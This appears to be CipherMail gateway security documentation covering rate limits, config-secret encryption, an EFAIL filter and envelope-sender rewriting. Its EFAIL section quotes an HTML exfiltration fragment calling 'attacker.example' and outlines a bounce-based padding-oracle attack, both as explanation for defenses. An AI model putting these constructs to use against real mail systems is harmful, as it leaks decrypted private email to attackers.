Security
This section explains the configuration options and settings that affect the appliance’s security.
Rate Limits
To reduce the risk of brute-force and automated abuse of public (unauthenticated) REST endpoints, the system can enforce rate limits. A rate limit restricts how many requests a client can send within a defined time period. If the limit is exceeded, additional requests may be temporarily blocked or delayed. This helps protect service availability and performance, and it can make password guessing and similar attacks significantly harder.
The following rate limits apply:
Login failures
2FA failures
Portal Signup & Password reset
PDF replies
Login failures
If the number of failed login attempts from the same IP address exceeds the allowed maximum, the admin or portal user will be temporarily blocked from signing in from that IP address.
Default: maximum 5 login failures in 300 seconds
Note
With IPv6, users can easily obtain many different IP addresses. For this reason, instead of blocking a single IP address, we block the entire /64 address range.
The default rate limits can be modified by using an Ansible override file
sudo vi /etc/ciphermail/ansible/group_vars/all/override.yml
Add the following YAML:
# admin login rate limits
ciphermail_backend__login_failure_max_failures: 5
ciphermail_backend__login_failure_lifetime_seconds: 300
# portal login rate limits
ciphermail_portal_backend__login_failure_max_failures: 5
ciphermail_portal_backend__login_failure_lifetime_seconds: 300
Change the values to match your requirements.
After changing Ansible override file, run the playbook:
sudo cm-run-playbook
2FA failures
If 2FA is enabled and the number of failed 2FA attempts exceeds the allowed maximum, the admin or portal user will be temporarily blocked from signing.
Default: maximum 4 2FA failures in 60 seconds
The default rate limits can be modified by using an Ansible override file
sudo vi /etc/ciphermail/ansible/group_vars/all/override.yml
Add the following YAML:
# admin 2FA rate limits
ciphermail_backend__2fa_failure_max_failures: 4
ciphermail_backend__2fa_failure_lifetime_seconds: 60
# portal 2FA rate limits
ciphermail_portal_backend__2fa_failure_max_failures: 4
ciphermail_portal_backend__2fa_failure_lifetime_seconds: 60
Change the values to match your requirements.
After changing Ansible override file, run the playbook:
sudo cm-run-playbook
Portal Signup & Password reset
Portal sign-up and password reset requests are limited to prevent abuse. If you exceed the allowed number of sign-up or password reset attempts, your account will be temporarily blocked from signing up or resetting your password.
To prevent excessive password reset emails, password reset requests from the same IP address are limited to a set rate.
Default: maximum 5 requests in 30 seconds per user or 60 requests in 60 seconds per IP address.
Note
With IPv6, users can easily obtain many different IP addresses. For this reason, instead of blocking a single IP address, we block the entire /64 address range.
The default rate limits can be modified by using an Ansible override file
sudo vi /etc/ciphermail/ansible/group_vars/all/override.yml
Add the following YAML:
# portal 2FA rate limits
ciphermail_backend__auth_rate_limit_max_attempts: 5
ciphermail_backend__auth_rate_limit_lifetime_seconds: 30
ciphermail_portal_backend__ip_max_request_rate: 60
ciphermail_portal_backend__ip_lifetime_seconds: 60
Change the values to match your requirements.
After changing Ansible override file, run the playbook:
sudo cm-run-playbook
Caution
If ciphermail_portal_backend__ip_max_request_rate is set too low, or
ciphermail_portal_backend__ip_lifetime_seconds is set too high, legitimate
users can be blocked from signing in. This can happen when the portal backend
cannot see the user’s real external IP address and instead sees the same shared
IP for many users. This situation is common in environments that use NAT
(Network Address Translation) firewalls or a Web Application Firewall (WAF) with
SSL/TLS termination. If these components do not correctly forward the original
client IP address to the portal backend, many different users may appear to come
from a single IP address. As a result, rate limits and IP-based blocking may be
applied to everyone using that shared IP, potentially preventing all users from
accessing the portal. To avoid this, make sure your reverse proxy, NAT device,
or WAF is configured to forward the original client IP to the backend, and
choose rate-limit and lifetime values that match your network setup and expected
user traffic. For improved protection, apply rate limiting at your Web
Application Firewall (WAF).
PDF replies
To prevent abuse, the number of PDF replies an external user can send is rate-limited.
Default: maximum 2 replies in 60 seconds per user.
The default rate limits can be modified by using an Ansible override file
sudo vi /etc/ciphermail/ansible/group_vars/all/override.yml
Add the following YAML:
# limits the rate at which PDF replies can be sent
ciphermail_portal_backend__pdf_max_reply_rate: 2
ciphermail_portal_backend__pdf_lifetime_seconds: 60
Change the values to match your requirements.
After changing Ansible override file, run the playbook:
sudo cm-run-playbook
Session timeout
The login sessions for the admin interface and portal automatically time out after 15 minutes of inactivity. You can change this inactivity timeout by setting the appropriate Ansible variable.
The default rate limits can be modified by using an Ansible override file
sudo vi /etc/ciphermail/ansible/group_vars/all/override.yml
Add the following YAML:
ciphermail_portal_backend__session_timeout: '5m'
ciphermail_backend__session_timeout: '5m'
Replace 5m with the required timeout value, using s for seconds, m for minutes, or h for hours.
After changing Ansible override file, run the playbook:
sudo cm-run-playbook
Config encryption
Some features in the admin and portal back ends require access to stored secrets, such as an LDAP bind password. Any process that runs under the back-end system account can potentially read these secrets.
For extra protection, you can encrypt these secrets with a master password that is only available to the root user. When the back end starts, it automatically decrypts the secret values using the master password. This helps protect sensitive information if someone gains access to the back-end account but does not have root access.
To enable configuration encryption, follow this procedure
Configure master password
sudo vi /etc/ciphermail/ansible/group_vars/all/override.yml
Add the following YAML:
ciphermail_backend__spring_properties_password: 'master-password'
ciphermail_portal_backend__spring_properties_password: 'master-password'
Replace master-password with the real password.
Run the playbook:
sudo cm-run-playbook
To encrypt a spring property value with the master password, use the following command:
echo '<some-value>' | /opt/ciphermail/scripts/cm-spring-property-encrypt.sh --password <master-password>
Replace <some-value> with the value to encrypt and <master-password> with the master password.
An example of an encrypted value:
$ENC{eyJ0IjoyLCJsIjoxLCJtIjoxNywiaSI6MiwidiI6MTksIml2IjoidkF2K3d5Q0IxVFVsa2o1TnJDOVBSUT09IiwiZCI6Im9wZ3BoWGM5T3ZXbTI2Nmdqem9YTEE9PSJ9}
Tip
To prevent the command from being saved in your Bash history, begin the command line with a leading space. This helps keep the command from appearing in your recorded shell history.
Replace the value from the Ansbible configuration file with the encrypted value.
Example where the ldap bind password uses the encrypted value instead of the plain-text value:
ciphermail_backend__ldap_authentication_bind_password: '$ENC{eyJ0IjoyLCJsIjoxLCJtIjoxNywiaSI6MiwidiI6MTksIml2IjoidkF2K3d5Q0IxVFVsa2o1TnJDOVBSUT09IiwiZCI6Im9wZ3BoWGM5T3ZXbTI2Nmdqem9YTEE9PSJ9}'
After changing an Ansible variable, do not forget to run the playbook
sudo cm-run-playbook
EFAIL Protection
EFAIL (efail.de, CVE-2017-17688 / CVE-2017-17689) is a class of attacks against S/MIME and OpenPGP that exfiltrates the plaintext of encrypted email by tricking the recipient’s mail client (or any URL-following component in the delivery path, such as Defender Safe Links, Proofpoint URL Defense, or Mimecast) into making an outbound network request that carries the decrypted content as part of a URL.
Because the CipherMail gateway decrypts on behalf of the recipient, the gateway is in the position to detect and neutralize EFAIL attempts before the decrypted message reaches the recipient or any downstream URL scanner.
Background
There are two main attack variants.
CBC malleability (S/MIME and OpenPGP without MDC) — S/MIME messages encrypted with a CBC-mode cipher (AES-CBC, 3DES-CBC, RC2-CBC) carry no cryptographic integrity protection. An attacker who intercepts a captured ciphertext can splice in additional ciphertext blocks; on decryption those blocks produce attacker-chosen plaintext blocks plus one block of garbled random bytes at the seam. The attacker uses the controlled blocks to wrap the legitimate plaintext in an HTML construct that ends up loading an attacker-controlled URL when rendered:
<img src="http://attacker.example/?[legitimate plaintext follows]
When the recipient’s mail client renders the HTML or an inline URL scanner follows the link, the legitimate plaintext is exfiltrated as a URL query parameter.
OpenPGP messages encrypted without a Modification Detection Code (MDC) are malleable in the same way and vulnerable to the same attack.
Direct exfiltration (multipart wrapping) — the attacker wraps each
captured ciphertext in a separate MIME part inside a crafted multipart/mixed
envelope. The first part contains the start of an HTML exfiltration URL, the
encrypted parts contain the captured ciphertexts, and the last part closes
the URL. The gateway decrypts each part and writes the plaintext back into
the multipart, producing a single message whose body — once assembled by the
recipient’s client — is one long HTML element with the plaintexts spliced
into the URL.
Warning
Disabling remote content in the mail client is no longer enough.
EFAIL guidance historically said that configuring the recipient’s mail client not to load remote content (remote images, external resources) was a sufficient mitigation: if the client never fetched the attacker’s URL, the decrypted plaintext could not leak. That was true only as long as the mail client was the only component that followed URLs in a message.
It no longer holds. Modern email security gateways perform link inspection that fetches URLs found in a message before the user ever sees it — for example Microsoft Defender for Office 365 (Safe Links), Proofpoint URL Defense, Mimecast URL Protection and Barracuda Link Protection. When such a product scans an EFAIL-crafted message, it makes the outbound request that carries the decrypted plaintext to the attacker’s server. This happens automatically, server-side, regardless of how the recipient’s mail client is configured and whether the recipient ever opens the message.
For this reason an EFAIL defense cannot rely on recipient mail-client settings. Any URL in a message that shows signs of an EFAIL attack must be defanged (neutralized) before the message is allowed to continue down the delivery path. This is exactly what the gateway’s EFAIL filter does — see below.
How the gateway detects and prevents EFAIL
After decryption, every message is optionally passed through the
EFAIL Filter. The filter operates in two tiers:
Tier 1 — clean messages pass through unchanged so anti-spam and URL scanning systems can keep operating normally on benign traffic.
Tier 2 — suspicious messages are sanitized: every
text/htmlpart is rewritten through an allowlist that strips external resource references, and everytext/plainpart has itshttp://andhttps://URLs replaced with the placeholder[URL removed]. The sanitized message carries anX-CipherMail-EFAIL-Filter: sanitized; checks="..."header so administrators can audit what fired.
The filter classifies a message as suspicious when one or more of the following detection heuristics fire:
Structural 7-bit check — every MIME header line of every part and the preamble of every multipart must contain only bytes in the set
0x09 | 0x0A | 0x0D | 0x20-0x7E. CBC EFAIL injection produces a garbled block of random bytes; the bytes very rarely all fall inside the 7-bit printable range, and they almost always land in a structural position. Body content is intentionally not scanned:Content-Transfer-Encoding: 8bitis a legitimate way to carry UTF-8 bodies (RFC 6532).First-block density check — for every leaf body part, the first 16 raw (pre-Content-Transfer-Encoding-decoded) body bytes are scanned; more than four bytes outside the 7-bit set trips the check. Random CBC corruption approaches ≈ 96/256 non-7-bit bytes on expectation; legitimate UTF-8 has structured multi-byte sequences with much lower density, and base64/quoted-printable bodies are 7-bit by construction.
MIME nesting depth — multipart nesting deeper than 6 levels. Legitimate messages rarely exceed 3–4 levels; injected wrapper parts add depth.
Missing Content-Type — any body part with no
Content-Typeheader. This is unusual in legitimate messages and is a common artifact of injection.PGP inline mixed content — when the gateway decrypts an inline-PGP block (a
-----BEGIN PGP MESSAGE-----block embedded in atext/plainortext/htmlpart), any non-blank text outside the block is treated as attacker-controlled wrapping and forces sanitization even when none of the byte-level checks fire.
For text/html parts the sanitizer uses an OWASP allowlist that permits
only safe structural and formatting elements (paragraphs, headings, lists,
tables, basic inline formatting). <a href="..."> is restricted to
mailto: URIs; <img src="..."> is restricted to cid: inline
attachments; CSS styles are dropped if they contain a url(...)
reference. <script>, <iframe>, <form>, <object>, <embed>,
<link>, <meta>, <base>, and similar elements that could trigger
network requests are removed entirely. After OWASP sanitization, any bare
http:// or https:// URL in the remaining HTML text is also replaced
with [URL removed], because mail clients and URL scanners auto-linkify
bare URLs in text content the same way they handle <a href>.
Which detection checks run depends on the cryptographic provenance of the decrypted message:
S/MIME CBC (
EnvelopedDatawith a CBC bulk cipher): all checks.S/MIME AuthEnvelopedData (AES-GCM / AES-CCM with verified tag): byte-level checks (structural 7-bit, first-block density) are skipped — tampering is cryptographically ruled out — but the structural heuristics (nesting depth, missing Content-Type) still run.
PGP without MDC: first-block density is skipped (PGP clients legitimately emit raw 8-bit body content, which would false-positive), structural 7-bit and structural heuristics still run.
PGP with verified MDC: byte-level checks are skipped, structural heuristics still run.
Tip
The strongest long-term defense against EFAIL is to migrate senders from CBC ciphers to AES-256-GCM (S/MIME AuthEnvelopedData) and to require OpenPGP MDC. The EFAIL filter is defense-in-depth that protects you against senders you cannot migrate.
The EFAIL filter and the OpenPGP integrity-check settings are configured per-recipient (and inheritable from the global defaults) via the following properties.
smime-efail-filter-enabled
If enabled, every decrypted S/MIME message is passed through the EFAIL filter
before delivery. When the filter detects an attack signal the message is
sanitized: HTML parts are rewritten through the OWASP allowlist, plaintext
http(s):// URLs are neutralized, and the
X-CipherMail-EFAIL-Filter: sanitized; checks="..." header is added.
Clean messages pass through unchanged.
This is the recommended setting when S/MIME senders cannot be guaranteed to use authenticated encryption (AES-GCM / AES-CCM).
Default: enabled.
pgp-check-mdc
If enabled, the OpenPGP MDC (Modification Detection Code) of an encrypted PGP message is verified after decryption. If the MDC does not match the computed value the message is considered tampered and the decryption fails; the original encrypted message is delivered unchanged.
The MDC is the OpenPGP equivalent of an integrity tag. Verifying it cryptographically rules out the CBC-style malleability attack that drives the EFAIL CBC variant.
Default: enabled.
pgp-require-mdc
If enabled, the gateway requires that an encrypted PGP message carries an
MDC. If no MDC is present, decryption fails and the original encrypted
message is delivered unchanged. This setting only has effect when
pgp-check-mdc is also enabled.
Modern PGP implementations (GnuPG 2.x and later, OpenPGP.js, modern Sequoia and RNP) always emit MDCs. Disabling this option means accepting messages from very old PGP implementations at the cost of opening the EFAIL attack surface for those messages.
Default: enabled.
pgp-efail-filter-enabled
If enabled, every decrypted PGP message is passed through the EFAIL filter
before delivery, with the same two-tier behavior as
smime-efail-filter-enabled.
When pgp-check-mdc and pgp-require-mdc are both enabled the gateway
already rejects PGP messages with missing or invalid MDCs, so this setting
is primarily defense-in-depth — it still catches the
multipart-wrapping variant and the inline-PGP mixed-content variant,
neither of which is prevented by MDC verification alone. When MDC
verification is not enforced (e.g. pgp-require-mdc disabled for
backward compatibility), this setting becomes the primary EFAIL defense.
Default: enabled.
Note
The EFAIL filter does not depend on the cryptographic provenance to decide whether to sanitize — it always runs when enabled — but it does adapt which detection checks it applies. For an authenticated envelope (S/MIME GCM, PGP with verified MDC) the byte-level checks are suppressed to avoid false positives, while the structural heuristics and the PGP-mixed-content signal still apply.
For more background, see the CipherMail blog post on EFAIL detection and prevention: https://www.ciphermail.com/blog/efail-detection-and-prevention.html
Sender Rewrite for Encrypted Incoming Email
When the gateway receives an encrypted email, it decrypts the message on behalf of the recipient before delivering it. Decryption turns a protected message into a message that contains readable plaintext. From that point on, any system that handles the message and generates a bounce (a delivery status notification) can include parts of the decrypted content in that bounce.
This creates a security problem. If a decrypted email is bounced anywhere in
the delivery chain, the bounce is returned to the envelope sender — the
address in MAIL FROM / Return-Path. For an incoming email that
envelope sender is the external, possibly malicious, party who sent the
original encrypted message. A bounce that quotes the decrypted body therefore
leaks the plaintext straight back to the attacker.
Why blocking local bounces is not enough
It is tempting to solve this by configuring the local Postfix server so that it never bounces a message. That helps, but it does not close the problem. After the gateway delivers the decrypted message, it travels onward to one or more next-hop mail servers — internal mail stores, downstream relays, or mailbox providers. Any of those servers can also generate a bounce, and that bounce can contain the decrypted content. CipherMail has no control over how those servers are configured.
Why header-only bounces are still not enough
A common and recommended practice is to configure mail servers so that bounces include only the headers of the failed message, never the body. This is good hygiene and reduces exposure considerably, but on its own it is still not sufficient.
After decryption, CipherMail adds informational headers to the message — for
example X-CipherMail-Info-SMIME-Encrypted — that indicate whether the
message was successfully decrypted. An attacker does not need the body: the
mere presence or absence of a “successfully decrypted” header in a bounce is
enough to act as a decryption oracle. By submitting many modified copies of
a captured ciphertext and observing which ones report a successful
decryption, the attacker can recover the plaintext one step at a time.
Note
This is the basis of the Vaudenay CBC padding oracle attack. Email encrypted with an older CBC-mode cipher carries no integrity protection, so an attacker can subtly modify a captured ciphertext and resend it. The gateway either decrypts the modified message into something with valid padding or rejects it as invalid. Each response — visible here through the bounce behaviour — reveals one byte of information about the plaintext. The attack is slow but entirely practical: for a 1 KB message an attacker would need to send roughly 131,000 to 262,000 specially crafted emails to fully recover the plaintext, using the bounce responses as the oracle signal.
The solution: rewrite the envelope sender
CipherMail can rewrite the envelope sender (MAIL FROM / Return-Path)
of an incoming encrypted email to an internal administrative address. Once
the envelope sender has been rewritten, every bounce generated anywhere in
the delivery chain — by the local Postfix server, by a downstream relay, or
by the final mailbox provider — is delivered to that internal address instead
of to the external sender. The decrypted content can no longer reach the
original sender through a bounce, regardless of how the other servers in the
chain are configured.
Only the envelope sender is rewritten. The From: header of the message
is left untouched. As a result, normal replies and MDNs (read receipts) are
unaffected: they are addressed using the From: header and still go to the
original external sender as expected. The rewrite only changes where
delivery failures are reported.
Note
The mailbox used as the bounce address must be actively monitored. Once sender rewriting is enabled, a genuine delivery failure for an encrypted email no longer reaches the original external sender — the failure notification is delivered to the internal administrative address instead. An administrator must watch that mailbox and follow up on legitimate delivery problems manually, otherwise senders will not learn that their message was not delivered.
Hint
Validate SPF, DKIM and DMARC before the message reaches the gateway, not after.
Rewriting the envelope sender — and decrypting the message — both interfere with email authentication checks:
SPF authorizes the sending IP address against the envelope-sender (
MAIL FROM) domain. Once the gateway has handled the message it is re-sent from the gateway’s own IP address, and the envelope sender has been rewritten to the internal bounce address. An SPF check performed after the gateway therefore no longer reflects the original sender and will not validate.DKIM signs the message body and a selection of headers. Decrypting an encrypted message changes the body, so the original sender’s DKIM signature no longer verifies once the gateway has decrypted the message.
DMARC builds on SPF and DKIM, aligned with the
From:header. Because both SPF and DKIM fail after the gateway has processed the message, a DMARC check performed afterwards fails as well.
This is expected behaviour, not a misconfiguration. SPF, DKIM and DMARC must be evaluated where the email is received from the internet — at the perimeter MX, before the message is passed to the CipherMail gateway. Do not run SPF, DKIM or DMARC validation on a message after it has been handled by the gateway, and do not let such a check influence delivery: it would reject or quarantine legitimate mail that the gateway has decrypted or whose envelope sender it has rewritten.
Fallback if sender rewriting cannot be used
If, for any reason, sender rewriting cannot be configured in your environment, then at a minimum make sure that no mail server anywhere in the delivery chain will ever return the full message body in a bounce. Restrict every server in the path to header-only bounces. This does not eliminate the padding oracle attack described above, but it does prevent the most direct form of plaintext leakage.
Configuration
Sender rewriting is controlled by two recipient properties. Both must be set for rewriting to take place:
Property |
Type |
Effect |
|---|---|---|
|
Boolean |
When enabled, the envelope sender of an incoming encrypted email is
rewritten to the address in |
|
Email address |
The internal bounce address that the envelope sender is rewritten to. |
Both properties are recipient-level properties. Like other recipient properties, they can be configured at the global, domain, or user level, and more specific levels override the global default.
Because the properties can be set per domain, a gateway that is shared between multiple companies can be given a different bounce address for each domain. Each company’s encrypted-email bounces are then delivered to that company’s own administrative mailbox.
Note
If either rewrite-sender-if-encrypted is not enabled or
sender-if-encrypted is not set, the envelope sender is left
unchanged and no rewriting takes place. Both properties must be set for
the feature to be active.